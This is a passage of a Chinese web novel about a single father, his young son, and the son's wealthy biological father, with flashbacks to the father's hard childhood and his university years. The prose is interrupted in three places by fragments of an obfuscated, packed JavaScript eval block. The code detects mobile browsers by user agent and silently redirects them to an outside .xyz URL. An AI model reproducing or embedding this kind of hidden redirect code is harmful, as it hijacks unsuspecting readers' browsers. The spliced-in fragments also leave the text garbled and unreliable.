一旁的楼确闻言也很好奇这个问题,毕竟刚才那个男人明显不是一般人,而且看起来和温弥玉很熟悉,还提到了孩子,他说的不会把孩子带走是什么意思?难道温从简是他的孩子吗?可是怎么可能,那种人怎么会把自己的孩子交给别人,又不是养不起。 因为疑惑太多,楼确也很想知道一个答案。 然而温弥玉却一直没有回答。 直到过了许久,才终于给出了一个明显敷衍的答案。 “我也不认识。” 8. 雨伞 之后的日子里爸爸一直很警惕,每天都按时接送他放学,甚至他在楼下玩耍时爸爸也会在不远处看着,像是怕他随时会被人夺去。 温从简有些不解,但也能隐隐感觉到应该和那天那个占他便宜的男人有关。 那个男人到底是谁?为什么爸爸这么害怕? 但爸爸明显不想提起那个男人,所以温从简也没有主动问,无论那个男人是谁都不重要,他有爸爸就够了。 好在之后的日子里那个男人都没有再出现过,温从简这才松了口气,然而不知为何爸爸却似乎一直没有放心。 即使爸爸什么都没说过,但温从简也能感觉到他的精神绷得很紧,甚至还开始抽起了烟。 爸爸上次抽烟还是在他很小的时候,那个时候他才刚做完手术不久,因为太小,忍不了一点疼,几乎每天都在哭。 爸爸一开始还想办法哄他,但根本哄不住,最后只能抱着他一起哭。 温从简看到爸爸哭了后反而不哭了,甚至还抬手给爸爸擦了擦眼泪。 他那会儿还以为爸爸是烦他了,但后来才明白并不是。 爸爸是心疼,心疼不能代替自己。 爸爸也是那个时候开始抽的烟,当然,爸爸抽烟的时候都会避着他。 所以温从简也是看到烟头后才发现了这件事,不过他那个时候太小,还不明白这是什么,只是习惯性地把不认识的东西塞进嘴里,然后被苦得说不出话。 爸爸发现后连忙替他刷了牙,从那之后爸爸就没有再抽过烟,没想到现在却又开始抽了。 爸爸抽烟从来都避着自己,这次也不例外,所以还是温从简半夜起夜时发现客厅阳台在闪红点才发现的。 温从简揉了揉眼睛走过去,然后就见爸爸半开着窗户倚在窗边,因为背对着他,所以温从简看不清爸爸面上的表情,只能看到他垂在身侧的手指间夹着一只已经抽了一半的烟,烟头处明明灭灭,闪着猩红的点。 温从简没有过去,只是默默转身去上了个厕所,大概是冲水的声音太响,等他出来时阳台上已经没人了,就像刚才不过是他臆想出来的幻想,亦或是他做的一场梦境。 温从简有些奇怪地走到阳台,窗户这次被全部打开,所以烟味儿已经散了个干净,只有使劲儿闻,才能闻到一点残存的烟味,一点也不好闻,有些呛鼻。 为什么爸爸又开始抽烟了?温从简忍不住想,是因为那个男人吗?可是那个男人到底是谁呢? 虽然努力克制着自己不去想,但温从简还是不可避免地对那个男人产生了一丝好奇。 虽然他年轻尚小,还未分清贵贱,但也能感觉到那个男人和他们镇上人的不同。 他像是来自另一个世界,一个温从简只在电视机看到过的世界。 这样的人为什么会出现在这里? 因为太过困惑,温从简最近的话都少了很多。 叶惊寒是最先发现他变化的人,有些担心地问他,“怎么了?” 温从简以前是个小喇叭,什么都往外说,但是这件事他自己都没有弄清楚,根本不知道该怎么说,因此最后还是摇了摇头,“没什么。” 叶惊寒也没有多问,只是第二天来的时候塞给他了一个棒棒糖。 温从简对此很是惊讶,毕竟他知道叶惊寒的继父对他很差,从不给他零花钱,所以这似乎还是他还是第一次看见叶惊寒买零食。 虽然很好奇,但温从简终究还是没有问他哪里来的钱,只是问,“这是给我的吗?” “嗯。”叶惊寒点了点头,“希望你的心情能好一点。” 温从简闻言心情瞬间好了起来,但这样的好心情只持续到了放学,因为放学的时候他又看到了那个男人。 今天下午突然下起了雨,因此放学的时候校门外全是撑着伞的大人,温从简没有拿伞,所以一直对爸爸翘首以盼。 虽然知道他爸爸肯定也没带伞,不过这样的天气爸爸一般会奢侈一把带他打车回去,温从简很喜欢坐出租车,所以一直很期待爸爸赶紧来接他放学。 可是不知为何,爸爸今天一直没有来。 很快他们班的人就被接走得差不多了,只剩下了他和叶惊寒。 一年级的学生一般都要父母来接才能走,只有叶惊寒除外。 因为他继父根本不会来接他,所以他一直都是自己回家。 但今天雨下得太大,班主任担心他就这么淋着会生病,所以让温从简先在学校门口等一会儿,并再三叮嘱他不要乱跑,要家长接了才能走,她则带着叶惊寒去买伞。 温从简一向很乖,答应了老师后便乖乖等在学校门口。 学校门口有屋檐遮蔽倒是淋不着雨,但温从简还是忍不住着急,爸爸怎么还不来? 毕竟爸爸接他时很少来迟,况且最近因为那个男人,爸爸总是第一个来接他。 可是爸爸今天却迟到了。 温从简一直是一个没什么安全感的小孩儿,每到这个时候,脑海中就会不受控制地涌现出一些不好的想法。 爸爸会不会出了什么事? 正提心吊胆时,面前突然多了一道人影。 感觉到有人停在他面前,温从简这才回过了神,立刻抬起头来。 然而没想到的是面前的人却不是爸爸。 - 温弥玉匆匆赶来。 看到不远处依旧站在校门口乖乖等他的温从简,温弥玉这才松了口气,但同时心中也涌出一丝歉意,毕竟现在校门口只剩下了温从简一个人。 他不知是不是有些冷,正蹲在地上,整个人缩成小小一团。 温弥玉看了一眼便觉得心都要碎了,连忙跑了过去。 “对不起,爸爸来晚了。”温弥玉跑过去后连忙把他从地上抱起,然后脱下了自己的外衣,正想给他披上,却见温从简的怀里抱着一把有些陌生的黑伞。 “这把伞是从哪儿来的?”温弥玉没看天气预报,所以既没给自己拿伞,也没给温从简拿伞。 因此来的路上一直很担心,他淋着雨倒没什么,但温从简这么小,淋了雨容易生病。 “是你老师给你的吗?”温弥玉问。 然后就见温从简摇了摇头,“不是,太晚了,老师已经走了,她拜托了门卫叔叔看着些我。” “对不起。”温弥玉一听心中瞬间涌出更多歉意,“是爸爸不好,花店今天很忙,你月月阿姨一个人忙不过来,爸爸有些走不了。” “我知道,爸爸,我没有怪你。”温从简说着从口袋里掏出纸巾替爸爸擦了擦脸。 爸爸也没拿伞,这一路淋了不少雨,于是温从简把手中的伞递了过去。 温弥玉接过打开,与此同时也更加奇怪,“你还没说这是谁给你的伞?” 温从简似乎有些犹豫,有些支支吾吾,但最终还是告诉了他,“是那天那个叔叔。” 温弥玉听到这儿瞬间停下脚步,虽然温从简说得很含糊,但他还是瞬间便反应了过来他说的是谁,连忙向四周看去,然而周围并没有那人的身影。 手中的伞柄突然有些发冷,一股凉意就这么渗透皮肤钻入掌中。 “他和你说什么了?”温弥玉连忙问道。 温从简就知道爸爸会生气,一时间没敢说话,好一会儿才摇了摇头。 但温弥玉并不相信,“从从,你从来不对爸爸撒谎的是不是?” 温从简一听爸爸这么对他说话,就知道这是爸爸发火的前兆,因此犹豫了一下还是一五一十地告诉了爸爸所有的事情。 “他真的没有说什么,只是和我道了歉,说上次吓到我了,然后买了很多零食,但是我都没要。” 温从简说着把两个口袋都翻了过来,想要和爸爸证明他真的没有收任何东西。 当然除了那把伞。 “然后他给了我一把伞,我说我不要,他说不是给我的,只是借我用用,还说……” “还说什么?”温弥玉问道。 “说你不喜欢带伞,肯定会淋雨,所以让我把这把伞带给你。” 温弥玉听到这儿,握着伞的手指微微收紧,许久之后才找回了自己的声音。 “还有吗?” “嗯。”温从简点了点头,“他还问你这些年过得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831169|175578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好不好?” 温弥玉听到这儿愣了一瞬,然后哑着声音问道:“那你是怎么回答的?” “我没说话。”温从简回道,倒不是他不想回答,而是不知道该怎么回答。 他们过得似乎不太好,但似乎也挺好的,他真的不知道该怎么回答。 温弥玉不明白那个人又在玩什么把戏?见硬的不行所以又要来软的了吗? 可是他的目的到底是什么? 因为过去的事,温弥玉习惯性地把他往最坏处想,但却还是没忍住问道:“那他什么反应?” 温从简闻言认真回想了起来,然后摇了摇头,“没什么反应,只是眼睛有些红,像是要哭了,但他没有哭,只是把伞递给了我。” “哦,这样啊。” 温弥玉说着伸手拦下一辆出租车,然后打车回了家。 下车的时候外面依旧在下雨,不过温弥玉却没撑伞,而是和温从简说道:“比赛看谁先跑到楼道里。” 每次下雨天爸爸都会和他玩这个游戏,因此温从简立刻答应,一边把书包顶在头上一边向前跑去,很快他就最先跑进了楼道。 爸爸紧随其后,明明手里拿着拿把伞却没打开,而是把上面的水甩干净,然后放到了楼道口,并没有带回家里。 - 爸爸今天淋了不少的雨,所以刚一回家温从简就催促他赶快去洗一个热水澡,毕竟他爸爸身体一直不怎么好,虽然没有什么大病,但经常小病不断,每次淋雨后就很容易发烧。 温弥玉洗完澡后给温从简也洗了个澡,然后熬了姜汤每人喝了一碗。 本以为这样应该能避免生病,然而没想到的是温弥玉半夜还是发起了烧。 这些年他生病都已经生习惯,倒没大惊小怪,而是披了衣服来到客厅,自己找出退烧药吃下,然后去了温从简房间看了一眼,还好他的体温一切正常,并没有发烧。 温从简是第二天早上发现爸爸的不对劲。 “爸爸,你是不是不舒服?” “没有。”温弥玉说着把饭盒装好,然后便要送他去学校。 然而温从简知道爸爸一向嘴硬,所以并没有听他的,而是拉着他的手让他蹲下,然后踮起脚尖摸了摸爸爸的额头。 “爸爸,你发烧了。” “没事儿。”温弥玉见瞒不过也没再继续瞒下去,而是摸了摸他的头安慰道,“已经吃过药了,别太担心。” “要不要再去医院看看?” “不用。” “真的不用吗?” 温从简对于爸爸实在不放心,絮絮叨叨地叮嘱了一路。 让他实在不行请假一天好好休息。 爸爸对于他的话满口答应,但温从简总觉得他做不到,因此担心了一上午。 直到中午爸爸来接他时烧退了不少,温从简这才放心。 今天放了晴,他们没有再打车,而是手牵手向回走去,一边走一边商讨中午吃什么? 然而没想到的是还没等他们商讨出来,走到家门口时却看到门口放着一个保温桶。 “诶?爸爸,这是楼哥哥送来的吗?” 平时经常给他们家送饭的只有楼确,因此温弥玉下意识也是这么以为的,于是让温从简把保温桶拿了进去。 然后给楼确打起了电话,一旁的温从简已经迫不及待地把保温桶打开,然后就见里面是满满一桶炖好的排骨汤。 排骨汤香气扑鼻,温从简几乎立刻就饿了,然而不知为何总觉得楼哥哥今日的汤炖的和平时不太一样,更加清澈透亮。 不过温从简也懒得去思考这其中的不同,跑到厨房端了碗想要给他和爸爸盛汤。 然而刚一出来就见爸爸已经挂了电话,正出神地望着桌上的排骨汤。 “爸爸,怎么了?”温从简摆好碗筷,一边问一边想要把保温桶里的汤倒出来。 然而就在这时爸爸却好似终于回过神来,一把拦住了他。 温从简因爸爸的动作而有些不解,正想问他这是怎么了?然而下一秒却见爸爸直接把保温桶的盖子合上,然后打开门把排骨汤扔了出去。 9. 往事 温弥玉已经很久不抽烟了。 其实他本来就不爱抽烟,只是前些年他一个人带着温从简,生活的重压毫不客气地全部压下,这是他能想到的唯一稍微廉价些的解压方式。 廉价香烟的味道很冲,他又不太会抽,所以一开始被呛得不行,嘴里又涩又麻,但抽久之后竟也渐渐习惯了。 他也开始明白为什么这么多人喜欢抽烟,浅淡的烟雾像是给世界蒙了一层纱,可以让人短暂地忘却片刻现实。 但温弥玉也明白这不是什么健康的习惯,只是那时温从简因为先天性心脏病需要做手术,那是一笔很大的钱,可是那时的他也不过二十出头的年纪,甚至还没毕业,所以筹措得很是艰难。 压力太大,只有躲在这片不健康的烟雾后才能轻松片刻。 直到后来温从简不小心把他抽过的烟头塞进了嘴里,被苦得嚎啕大哭,从那之后温弥玉便没有再抽过烟。 本以为他已经戒了,可是没想到短短几日,便因为殳别宴而一次又一次破了戒。 殳别宴。 温弥玉还以为自己早就已经把他忘了,但现在才明白他不过是在自欺欺人而已,只是想起这个名字,心口便不受控制地涌起一股滞涩之感。 都已经这么多年了?到底为什么还要出现?他们明明已是陌路,自己安安静静地带着孩子生活,而他……也已经该成家立业。 六年过去了,他的孩子应该也很大了吧? 所以为什么还要找过来呢? 除了他想带走温从简外温弥玉实在想不出第二个理由,可是他又说不是。 那到底是因为什么呢?温弥玉想不明白也看不透他。 不过也是,要是自己看得清楚明白的话,当初也不会那么傻,明知他们之间是天堑,竟然还妄图用一个孩子留住他。 真是……傻透了。 大概是此时太过安静,回忆开始不受控制,如夜色一般蔓延开来。 温弥玉突然想起了第一次见到殳别宴时的场景。 温弥玉出生在一个连说是普通都有些勉强的家庭。 为了温饱,父母生下他不久就外出打工,将他留给爷爷奶奶照顾。 因此小时候的温弥玉对父母的印象并不深刻,唯一记得的只有他们一次次离开的背影。 所以小时候他最喜欢的就是过年,因为这他们家一年中最热闹的时刻。 可惜这样的热闹就像烟火,只聚了一时,便散开了。 然后继续留下他和爷爷奶奶守在村里的老屋。 所以后来他渐渐也没那么喜欢过年了,因为短暂的团聚后便是漫长的分别。 偶尔温弥玉望着其他和父母生活在一起小朋友也会觉得难过,可后来才发现,原来那时的分别只是这沉重不堪的命运中最不值一提的事情。 他六岁那年,父亲在遥远的,他只听说过名字的繁华城市中突发脑溢血。 虽然经过抢救保住了一条命,但从那之后身体便残了一半,连走路都成了一件困难的事情。 因为父亲的病,家里几乎花光了所有的积蓄,还欠了债,为了还债,上了年纪的爷爷奶奶只能更加卖力地侍弄土地,可是依旧是杯水车薪。 那是一段即使他年纪尚小,但依旧刻入骨髓的苦日子。 妈妈彼时工作得更加拼命,但家庭的负累太重,她终究还是有些熬不住,也渐渐没了消息。 爸爸似乎预感到了什么,每日更加烦躁,凶得像是一只重伤的豹子。 温弥玉隐隐能感觉到妈妈大概是不要他们了,可没想到的是他很快就再次见到了妈妈。 妈妈提着很多东西从不远处走来,彼时的温弥玉正蹲在地上捡瓶子,因为太久没见,他甚至没有在第一时间认出妈妈。 直到她放下手中的东西走过来蹲下抱住了他,然后叫了他一声,“玉玉。” 温弥玉愣了一会儿,这才终于反应了过来面前的人是妈妈。 他想伸手回抱,但怀里都是瓶子,更何况他的手脏,怕弄脏了妈妈的裙子。 因此温弥玉最终还是什么都没做,只是微微弯腰靠在了她的怀里,然后轻轻蹭了蹭她。 妈妈这次回来给他带了很多东西,有好吃的,还有衣服。 这是平时过年才会有的待遇,可是现在并没有过年,因此温弥玉有些受宠若惊。 他不明白妈妈为什么突然回来?又为什么买这么多东西? 只是觉得开心,恨不得时时刻刻都黏着妈妈。 可惜的是妈妈这次回来并没有待多久便离开了,那时的温弥玉从没想过,那会是他最后一次见到妈妈。 很多年后再次回想起来温弥玉才终于反应了过来,原来妈妈那次是回来离婚的。 想明白的温弥玉并没有什么恨,甚至能够理解她的决定,毕竟困顿像是望不到头的深渊,谁也不想永远深陷进去。 温弥玉也不想,所以他很小的时候便帮着爷爷奶奶捡瓶子,想方设法想要赚钱,小学的时候就会替同学写作业来换钱,不过很快就被老师发现。 老师是当时来他们村子里支教的师范生,是一个很温柔的女孩子,他本以为老师一定会生气,然而并没有,老师甚至没有批评他,只是很认真地告诉他,她明白自己这么做的原因,但如果真的想彻底摆脱家里这样的情况,唯一的出路只有好好学习,考到大城市去。 温弥玉虽然不知道大城市是哪里,但却记住了老师的话,从那天起,他的世界里便只剩下了学习。 后来他一路从镇里考到了市里。 他在市里读的高中,因为离家太远,只能住校,家里没有人能去送他,最后是他自己一个人提着沉重的行李到了那里。 那本该是少年最张扬恣意的一段光阴,只有他像一只整日缩在壳里的蜗牛,回忆起来只有学习。 他的家境不好,这不是什么秘密,但他也没有遇到过什么霸凌瞧不起,班主任甚至还主动帮他申请了助学金。 一切都很好,大家都很友善,只是时隔多年后再回想时才发现每个人的脸都是如此模糊,他甚至想不起一个人的脸。 但也属正常,因为他高中的时候从未主动和谁靠近,大家一起打篮球,一起吃食堂,一起约吃饭,只有他默默地游离在所有人之外,一个人独行,以至于现在连一个稍微熟悉点的高中同学都想不起。 可是他也没有办法,他并非天资聪颖者,只能付出全部的努力。 再后来他终于考上了大学,全国很有名的那一所,所有人得知这个消息后都很开心,他也应该是开心的,但似乎也没那么开心,他只觉得累,像是身上的包袱终于放下了一瞬,虽然很快就要再次背起,但至少能放下一刻,让他终于得以好好休息。 他睡了很长很长的一个觉,做了很多很多梦,梦到了很小很小的时候,每年过年结束后他就要和爷爷奶奶站在门口,目送着他们一个接一个地走。 还梦到正在捡瓶子时妈妈突然回来,他抬起头,就看到妈妈站在村口,然后妈妈抱住他,摸了摸他的头。时间过去得太久,即使是在梦里,他也想象不出妈妈的长相,只记得她那天穿的裙子,红色的,很漂亮的一条碎花裙。 最后梦到的是爸爸,那个时候的爸爸还很年轻,也没有出事,他和妈妈踏着风雪赶回来过年,手里提着大包小包的东西,里面有专门带给他的礼物,是一架小飞机。 他问爸爸为什么飞机不会飞啊? 爸爸闻言让他拿着飞机,然后抱起他让自己坐在他的肩头,然后在院子里走,“怎么样?这样是不是就飞起来了?” “是啊,飞起来了。”温弥玉很开心地玩了很久,手都冻红了也不撒手。 从那之后小飞机就成了他最喜欢的玩具,可是后来呢?他的小飞机去哪儿了? 原本已经被他忘却的东西不知为何在这一刻却突然清晰起来,他突然很迫切地找了起来,可是却怎么也找不着。 正当他想着那架小飞机突然去哪儿了的时候,他被爷爷猛地叫醒。 在他的印象中,爷爷总是沉默的,连话都很少,像是地头山间最厚重的泥土,因此他还是第一次在爷爷脸上看到这样的表情。 即使什么都没说,但他还是瞬间明白一定是发生了什么。 他连忙起身,因为睡得太久,浑身软绵绵的没有一丝力气,下床的时候差点摔倒,鞋也没穿好,不过他已经顾不上,就这么穿着一只鞋跑了出去。 然后他看到了躺在床上,已经不省人事的父亲。 谁也不知道,他到底什么时候在床下藏了一瓶农药。 还没送到医院时就已经没了呼吸,因此根本没有什么抢救的必要。 消息传开的时候大家都不理解,甚至还有人觉得药肯定是被人灌进去的,不然怎么可能,明明他已经考上了大学,明明马上他们家就要改变命运。 办丧事的那些日子,这样的言论简直层出不穷,一刻不停地钻进他的耳朵里。 温弥玉没有说话也没有哭,甚至没有问为什么,因为他能理解。 是的,他能理解原因。 他理解父亲这么多年因为生病被困在家里的痛苦,他理解父亲自觉对他们的亏欠,理解他明白自己不会再好起来的绝望,理解他不想再继续拖累他们,哪怕他们都不觉得这是拖累。 如果不是因为他成绩好,为了不影响他高考,父亲大概会更早离去。 虽然他们从没有过深入的交流,每次放假回来他们也只是把各自隔绝在自己的房间里,只有吃饭的时候才会互道几句关心。 可是温弥玉却理解他的一切,理解他的选择和决定。 他总是这样善解人意,好像不用费力就能理解任何人,就像他年纪尚小时就能理解母亲离婚的决定。 父亲的离去对于两位老人的打击是最大的,奶奶一病不起,爷爷看起来还好,只是吃饭时有时候吃着吃着便忍不住背过身去抹眼泪。 温弥玉每次都会装作没有看见,低头把饭默默扒进嘴里。 因为他考上的学校,温弥玉收到了很多资助,上学并不成问题,但这离他一直以来的目标还是差得很远。 他要改变命运,虽然已经考上了好的大学,即将要去大城市,但他依旧不知道该怎么改变。 唯一能想到的便只有赚钱,拼命赚钱。 他在暑假的时候就打起了工,开学后也没闲着,刚一入学就找起了兼职。 因为每天都在想着怎么赚钱,所以即使已经入学很久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温弥玉没有说话,只是第二天就请了假,然后坐火车回了家。 火车很慢,等他回家时一切都结束了。 家里空荡荡的,只有爷爷一个人坐在门口望着远方。 温弥玉走过去,爷爷却没有反应,直到他叫了一声,“爷爷。” 面前的人才终于抬起头,他的眼中似乎有些茫然,像是丢了魂,好一会儿才终于认出他,这才连忙站起身来,接过他手中的行李。 “怎么回来了?这么远,不是说不用特意跑一趟……” 温弥玉没有说话,只是沉默地一边听着爷爷絮絮叨叨一边进了屋。 进去后他先去爸爸房间看了一眼,然后去了奶奶房间看了一眼,都空了,原本活生生的人换成了两幅黑白的画像,挂在墙上望着他。 温弥玉各自站在门口看了一会儿,然后回了自己房间。 “饿不饿?”爷爷过来问,说着便去给他下了碗面。 估计是忘了放盐,味道很淡,但温弥玉还是一口不落地吃完。 温弥玉原本是想在这儿待几天,然后把他提前准备好的现金留下就回去。 直到他开始察觉到了爷爷的不对劲,他总是在发呆,经常性地忘记自己要找的东西,总要看他一会儿才能认出他来。 温弥玉觉得不对,软磨硬泡地带他去了医院。 医生很快确诊,是阿尔兹海默症,也叫老年痴呆,现在还在初期情况还好,但以后的情况只会越来越不好。 温弥玉听完后低头看向爷爷,他像是一个做错了事的小孩儿,一个人惶惑不安地坐在凳子上,像是在等待着什么审判。 温弥玉见状和医生道了谢,然后牵着爷爷的手走了出去。 走出医院时温弥玉抬头看了看天,今天是个晴天。 “爷爷。”大概是倒霉惯了,温弥玉很快就接受了这一切,只是握住了爷爷的手,和他说道,“和我一起去北京吧。” 为了照顾爷爷,温弥玉从宿舍里搬了出来,这里的房租很贵,他好不容易攒的那点钱几乎全部填了进去。 但没关系,反正钱没了还能再赚,因此他只是更加努力。 只是酒吧这地方鱼龙混杂,虽然大部分时候他只是做一些服务生的工作,但因为长得好看,有些顾客也喜欢和他开开玩笑,让他喝些酒什么的。 温弥玉对这些并不在意,一般不太过分的都会照做。 直到有一次一个vip包间里的男生要求他跳脱衣舞。 温弥玉自然拒绝,那人却不依不饶地甩出一张卡,说这张卡里有十万,脱一件一万,脱光就可以全部拿走。 温弥玉听到这个数目还真心动了一下,但最终还是没办法应下,摇了摇头便想离开。 结果那人却不肯放他走,甚至还借机摸上了他,温弥玉不想丢掉这份工作,因此只是推开他便向大门走去。 谁知那人却又追了上来,但大概是因为被他刚才推那一下丢了面子,态度一下子恶劣了起来。 “你什么态度?你不过是一个服务生拽什么拽?老子让你跳是给你脸,给脸不要脸,在这种地方装什么纯?恶不恶心。” 因为他的吵闹,很快就引得其他包间的人也纷纷开门看了起来。 领班很快过来,想要息事宁人,然而那人却更加来劲,“换人?凭什么换人?我今天就要他在这儿,进来!” 那人说着便想去拽温弥玉,然而就在这时一只手却从旁边伸过来挡住了那人的动作。 紧接着一道吊儿郎当的声音传来,“干什么呢?吵死了。” 10. 名字 温弥玉因这道声音转过身,然后就见身侧不知什么时候站了一个年轻男人,他看着和自己差不多大,身量很高,穿着一件很简单的白色短袖,然而却还是掩不住身上的贵气。 刚才一直闹事的那个人似乎认识他,瞬间便怂了。 “殳少,您怎么在这儿?” “不好意思,不好意思,吵到您了。” 那人没说话,只是看了一眼温弥玉。 闹事的男人立刻了然,简直像是变脸一般对着温弥玉道:“对不起,刚才喝多了,你别往心里去。” 温弥玉这段时间在酒吧形形色色的人见识了不少,这种人多了,因此也没放在心上,点了点头就算过去。 见他没有追究,闹事的人连忙灰溜溜地跑了出去。 热闹散了,其他包间的人也陆续回去,很快走廊上便只剩下了他们两人。 温弥玉抬头看向他,不知为何总觉得熟悉。 但一时间又想不起来是谁,不过不管是谁,他都帮了自己,因此温弥玉还是很认真地和他道了声谢。 面前的人没有说话,只是有些玩味地垂眸看着他。 温弥玉不明白他是什么意思,也不打算追问,他要忙的事儿太多,实在没空去探究别人的心思。 然而就在他准备离开的时候,那人却突然叫住了他。 “温弥玉。” 温弥玉闻言不由一愣,有些诧异地看向他,不明白他为什么知道自己的名字。 那人看出了他的疑惑,有些无奈地笑了一下,“室友,你真是一点都不记得我啊。” “室友?”温弥玉这才终于反应了过来那股熟悉感从何而来,原来和他一个寝室。 也不怪温弥玉会认不出他,毕竟从开学到现在这人就来过一次,还是开学的时候。 温弥玉那时候整理完行李后便急着出去找兼职,因此只匆匆打了个照面就离开了,只隐隐记得他家里似乎挺有钱的,来给他收拾床铺的都是家里的阿姨。 从那之后温弥玉就没再见过他,这人虽然在寝室占了个床位,但根本不住寝室,加上温弥玉每天太忙,很快就连他长什么样都忘了。 或许平时上专业课的时候在教室里打过照面,但温弥玉每天的时间都是按秒算的,一般上完课就离开,每次都默默坐在最后一排,从不和人说话,所以一个学期下来除了他那两个室友和班委外,他谁也不认识,也难怪刚才即使觉得熟悉也没认出他来。 “想起来了。”温弥玉点了点头。 那人似乎想要多和他聊一会儿,不过温弥玉还要去忙,直接截断了他的话头,再次道了声谢,“刚才的事多谢你,我还有事,先去忙了。” 温弥玉说完便转身离开,只留给了殳别宴一个背影。 殳别宴望着他的背影愣了一会儿,抬手摸了摸脸,突然被温弥玉弄得有些不自信。 他长得也不算差吧,温弥玉居然能对他一点印象都没有,按理说不应该啊,毕竟好看的人都会让人印象深刻,比如开学那天哪怕和他见的时间最短,殳别宴还是牢牢地记住了温弥玉。 原因无他,这人简直就是照着他的喜好长的,不过他并没有别的想法,毕竟虽然刚确定了自己的性取向,但他并没有和室友谈的打算。 一来虽然交了住宿费,但他并不打算住,让人铺了个床铺应付查寝后就搬了出去。 二来好不容易熬过了高中三年,他爸妈终于不再管他,所以对于殳别宴来说,大学生活简直是海阔凭鱼跃,每天要玩得太多,因此虽然温弥玉的长相很合他的胃口,但很快也就被他抛之脑后。 没想到今天再碰到后,殳别宴的心却又痒了起来。 真奇怪,明明不打算谈恋爱的,毕竟他还没玩够。 但不知为何,看着温弥玉的背影他却突然改变了主意。 - 温弥玉没想到第二天就又看到了殳别宴。 他和一群朋友过来喝酒,自己负责他的包间。 他一看见自己便笑着打了个招呼,其他人问他,“这是谁啊?” 殳别宴回道:“我室友。” 其他人闻言纷纷让温弥玉一起坐下,温弥玉摇了摇头,然后像往常一样给他们倒起了酒。 温弥玉这些年已经被生活磨成了一块感觉不到情绪的石头,为自己的室友服务也不觉得尴尬难堪,很平静地服务了他们一整晚。 这群人很能喝,喝到最后躺了一包间,只有殳别宴还清醒着,放下手中的酒杯对着问道:“温弥玉,你什么时候下班?要不要一起去吃个早饭?” 温弥玉很想说没有你们早就下班了,但话到了嘴边最终还是没有出口,毕竟他们还没那么熟。 “现在。”温弥玉说着抬手看了一眼表,“八点还有一节早课。” “正好,一起吃个早饭。” “不吃了,我还有事,你还要酒吗?不要我就下班了。” “不要了。”殳别宴闻言连忙回道,说完后正准备问他着不着急,自己可以送他。 然而话音刚落就见温弥玉已经转身走了出去,仿佛一秒都不想多留。 殳别宴没想到这人走得这么利索,还没说完的话只能就这么咽了回去。 自信心再次受到打击,殳别宴抬手理了理头发,有些疲乏地向后靠去,昨晚为了和他多说几句话,喝了一晚上的酒,结果也没说几句。 这人无论说什么都是一个表情,简直像块石头。 本来昨晚想打探一下他的性取向的,结果温弥玉根本不回答他的任何私人问题。 真是一块难啃的石头。 殳别宴也是第一次追人,一时间根本不知道该怎么继续下去。 正思索下一步计划时,手机突然响起,殳别宴接起电话,原来是管家提醒他今日的活动和课表。 殳别宴一整晚都没合眼,一听有课瞬间开始烦躁,本来打算翘了课回去睡觉,但又突然想起他和温弥玉是同班同学,温弥玉说的有事儿应该就是去上课,想到这儿殳别宴瞬间来了精神,起身洗了把脸,然后向学校赶去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831171|175578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温弥玉进到教室后照例坐在了最后一排,他们学校很少有愿意上课往后坐的,因此后面的位置很充裕。 老师还没来,周围的人都在默默预习,教室里很安静,昨晚一晚上没睡,因此温弥玉很快就困了起来,正想着要不要趁着还没上课去买杯咖啡,谁知下一秒一杯咖啡就出现在了他的面前,除此之外还有一个三明治。 温弥玉抬起头,然后就见殳别宴正斜倚在他旁边,一边笑吟吟地望着他,一边屈指敲了敲桌子,“室友,让一下,让我进去。” 殳别宴从前应该从没坐过最后一排,毕竟愿意坐后排的人不多,而温弥玉对他一点印象都没有。 所以温弥玉也不知道他突然抽的什么风,但最后一排又不是他的专属位置,只能他一个人坐,因此温弥玉还是侧过了身让他进去。 “多谢。”殳别宴说着在他左边坐下,然后示意他吃早餐。 温弥玉有些不习惯接受别人的好意,于是摇了摇头,“你吃吧。” “我吃过了,你不吃的话就只能扔了。” 对于从小穷过来的温弥玉来说,浪费粮食是一件罪大恶极的事情,而殳别宴看起来又真的能做出这样的事,因此纠结片刻后还是道了声谢,然后拿起三明治吃了起来。 温弥玉还是第一次吃这样西式的早餐,冷冷的,有些不太习惯,不过好在咖啡是热的,中和了一下倒也还好。 吃完饭后装三明治的袋子温弥玉没有扔,打算下课后去搜一下这是哪家卖的,下次早课的时候也给殳别宴带一份,他不喜欢欠别人的人情。 谁知一搜才发现这个三明治一个59。 有一瞬间温弥玉想要不自己去买食材做一个,但最终还是没有这么做,咬牙第二天去买了下来,然后在早课的时候还给了殳别宴,并再三告诉他,“今后别再给我买早餐了。” 殳别宴看着面前一模一样的三明治,觉得他还真是像一块石头。 一板一眼,又冷又硬。 “不用你还,上次是我请你的,你吃吧。”殳别宴说着把三明治推了过去。 但很快三明治就被温弥玉重新推了回来,“不用。” “你不要这么拒人于千里之外嘛,我只是想和你交个朋友。”殳别宴把三明治推了过去。 下一秒三明治又被推了回来,“我没时间交朋友。” “我有时间啊,我主动找你好不好?”殳别宴说着又把三明治推了过去。 温弥玉原本正在预习,听到这儿目光终于从书本上移开,转过头来,“你叫……” 殳别宴没想到他竟然还不知道自己的名字,不免有些挫败,但很快便无所谓了,毕竟他既然主动问自己就说明他这是愿意和自己交朋友的意思,于是殳别宴立刻自我介绍了起来。 